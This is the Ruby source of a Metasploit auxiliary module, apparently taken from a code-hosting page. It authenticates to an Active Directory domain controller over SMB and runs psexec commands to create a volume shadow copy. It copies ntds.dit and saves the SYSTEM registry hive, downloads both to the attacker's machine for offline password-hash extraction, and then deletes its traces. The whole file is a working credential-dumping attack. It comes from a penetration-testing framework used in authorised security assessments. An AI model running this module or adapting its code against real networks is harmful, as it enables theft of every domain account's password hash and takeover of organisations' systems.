Path: blob/master/modules/auxiliary/admin/smb/psexec_ntdsgrab.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary67# Exploit mixins should be called first8include Msf::Exploit::Remote::SMB::Client::Psexec9include Msf::Auxiliary::Report10include Msf::OptionalSession::SMB1112# Aliases for common classes13SIMPLE = Rex::Proto::SMB::SimpleClient14XCEPT = Rex::Proto::SMB::Exceptions15CONST = Rex::Proto::SMB::Constants1617def initialize(info = {})18super(19update_info(20info,21'Name' => 'PsExec NTDS.dit And SYSTEM Hive Download Utility',22'Description' => %q{23This module authenticates to an Active Directory Domain Controller and creates24a volume shadow copy of the %SYSTEMDRIVE%. It then pulls down copies of the25ntds.dit file as well as the SYSTEM hive and stores them. The ntds.dit and SYSTEM26hive copy can be used in combination with other tools for offline extraction of AD27password hashes. All of this is done without uploading a single binary to the28target host.29},30'Author' => [31'Royce Davis <rdavis[at]accuvant.com>' # @R3dy__32],33'License' => MSF_LICENSE,34'References' => [35[ 'URL', 'http://sourceforge.net/projects/smbexec' ],36[ 'URL', 'https://www.optiv.com/blog/owning-computers-without-shell-access' ]37],38'Notes' => {39'Stability' => [CRASH_SAFE],40'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK],41'Reliability' => []42}43)44)4546register_options([47OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server', 'C$']),48OptString.new('VSCPATH', [false, 'The path to the target Volume Shadow Copy', '']),49OptString.new('WINPATH', [true, 'The name of the Windows directory (examples: WINDOWS, WINNT)', 'WINDOWS']),50OptBool.new('CREATE_NEW_VSC', [false, 'If true, attempts to create a volume shadow copy', false]),51])52end5354# This is the main control method55def run56# Initialize some variables57text = "\\#{datastore['WINPATH']}\\Temp\\#{Rex::Text.rand_text_alpha(16)}.txt"58bat = "\\#{datastore['WINPATH']}\\Temp\\#{Rex::Text.rand_text_alpha(16)}.bat"59createvsc = 'vssadmin create shadow /For=%SYSTEMDRIVE%'60@ip = datastore['RHOST']61@smbshare = datastore['SMBSHARE']62# Try and connect63if session64print_status("Using existing session #{session.sid}")65self.simple = session.simple_client66@ip = simple.address67else68return unless connect6970# Try and authenticate with given credentials71begin72smb_login73rescue StandardError => e74print_error("Unable to authenticate with given credentials: #{e}")75return76end77end78# If a VSC was specified then don't try and create one79if !datastore['VSCPATH'].empty?80print_status("Attempting to copy NTDS.dit from #{datastore['VSCPATH']}")81vscpath = datastore['VSCPATH']82else83unless datastore['CREATE_NEW_VSC']84vscpath = check_vss(text, bat)85end86vscpath ||= make_volume_shadow_copy(createvsc, text, bat)87end8889if vscpath90if copy_ntds(vscpath, text) && copy_sys_hive91download_ntds(datastore['WINPATH'] + '\\Temp\\ntds')92download_sys_hive(datastore['WINPATH'] + '\\Temp\\sys')93else94print_error('Failed to find a volume shadow copy. Issuing cleanup command sequence.')95end96end97cleanup_after(bat, text, "\\#{datastore['WINPATH']}\\Temp\\ntds", "\\#{datastore['WINPATH']}\\Temp\\sys")98disconnect99end100101# Thids method will check if a Volume Shadow Copy already exists and use that rather102# then creating a new one103def check_vss(text, bat)104print_status('Checking if a Volume Shadow Copy exists already.')105prepath = '\\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy'106command = "%COMSPEC% /C echo vssadmin list shadows ^> #{text} > #{bat} & %COMSPEC% /C start cmd.exe /C #{bat}"107psexec(command)108data = smb_read_file(datastore['SMBSHARE'], @ip, text)109vscs = []110data.each_line { |line| vscs << line if line.include?('GLOBALROOT') }111if vscs.empty?112print_status('No VSC Found.')113return nil114end115vscpath = prepath + vscs[vscs.length - 1].to_s.split('ShadowCopy')[1].to_s.chomp116print_good("Volume Shadow Copy exists on #{vscpath}")117return vscpath118rescue StandardError => e119print_error("Unable to determine if VSS is enabled: #{e}")120return nil121end122123# Create a Volume Shadow Copy on the target host124def make_volume_shadow_copy(createvsc, text, bat)125begin126# Try to create the shadow copy127command = "%COMSPEC% /C echo #{createvsc} ^> #{text} > #{bat} & %COMSPEC% /C start cmd.exe /C #{bat}"128print_status('Creating Volume Shadow Copy')129psexec(command)130# Get path to Volume Shadow Copy131vscpath = get_vscpath(text)132rescue StandardError => e133print_error("Unable to create the Volume Shadow Copy: #{e}")134return nil135end136if vscpath137print_good("Volume Shadow Copy created on #{vscpath}")138return vscpath139else140return nil141end142end143144# Copy ntds.dit from the Volume Shadow copy to the Windows Temp directory on the target host145def copy_ntds(vscpath, text)146ntdspath = vscpath.to_s + '\\' + datastore['WINPATH'] + '\\NTDS\\ntds.dit'147command = "%COMSPEC% /C copy /Y \"#{ntdspath}\" %WINDIR%\\Temp\\ntds"148psexec(command)149if !check_ntds(text)150return false151end152153return true154rescue StandardError => e155print_error("Unable to copy ntds.dit from Volume Shadow Copy.Make sure target is a Windows Domain Controller: #{e}")156return false157end158159# Checks if ntds.dit was copied to the Windows Temp directory160def check_ntds(text)161print_status('Checking if NTDS.dit was copied.')162check = "%COMSPEC% /C dir \\#{datastore['WINPATH']}\\Temp\\ntds > #{text}"163psexec(check)164output = smb_read_file(@smbshare, @ip, text)165if output.include?('ntds')166return true167end168169return false170end171172# Copies the SYSTEM hive file to the Temp directory on the target host173def copy_sys_hive174# Try to create the sys hive copy175command = '%COMSPEC% /C reg.exe save HKLM\\SYSTEM %WINDIR%\\Temp\\sys /y'176return psexec(command)177rescue StandardError => e178print_error("Unable to copy the SYSTEM hive file: #{e}")179return false180end181182# Download the ntds.dit copy to your attacking machine183def download_ntds(file)184print_status('Downloading ntds.dit file')185begin186# Try to download ntds.dit187simple.connect("\\\\#{@ip}\\#{@smbshare}")188remotefile = simple.open(file.to_s, 'rob')189data = remotefile.read190remotefile.close191ntds_path = store_loot('psexec.ntdsgrab.ntds', 'application/octet-stream', @ip, data, 'ntds.dit')192print_good("ntds.dit stored at #{ntds_path}")193rescue StandardError => e194print_error("Unable to download ntds.dit: #{e}")195return e196end197simple.disconnect("\\\\#{@ip}\\#{@smbshare}")198end199200# Download the SYSTEM hive copy to your attacking machine201def download_sys_hive(file)202print_status('Downloading SYSTEM hive file')203begin204# Try to download SYSTEM hive205simple.connect("\\\\#{@ip}\\#{@smbshare}")206remotefile = simple.open(file.to_s, 'rob')207data = remotefile.read208remotefile.close209hive_path = store_loot('psexec.ntdsgrab.hive', 'application/octet-stream', @ip, data, 'system-hive')210print_good("SYSTEM hive stored at #{hive_path}")211rescue StandardError => e212print_error("Unable to download SYSTEM hive: #{e}")213return e214end215simple.disconnect("\\\\#{@ip}\\#{@smbshare}")216end217218# Gets the path to the Volume Shadow Copy219def get_vscpath(file)220prepath = '\\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy'221vsc = ''222output = smb_read_file(@smbshare, @ip, file)223output.each_line do |line|224vsc += line if line.include?('GLOBALROOT')225end226return prepath + vsc.split('ShadowCopy')[1].chomp227rescue StandardError228print_error('Could not determine the exact path to the VSC check your WINPATH')229return nil230end231232# Removes files created during execution.233def cleanup_after(*files)234simple.connect("\\\\#{@ip}\\#{@smbshare}")235print_status('Executing cleanup...')236files.each do |file|237if smb_file_exist?(file)238smb_file_rm(file)239end240rescue Rex::Proto::SMB::Exceptions::ErrorCode => e241print_error("Unable to cleanup #{file}. Error: #{e}")242end243left = files.collect { |f| smb_file_exist?(f) }244if left.any?245print_error("Unable to cleanup. Maybe you'll need to manually remove #{left.join(', ')} from the target.")246else247print_good('Cleanup was successful')248end249simple.disconnect("\\\\#{@ip}\\#{@smbshare}")250end251end252253254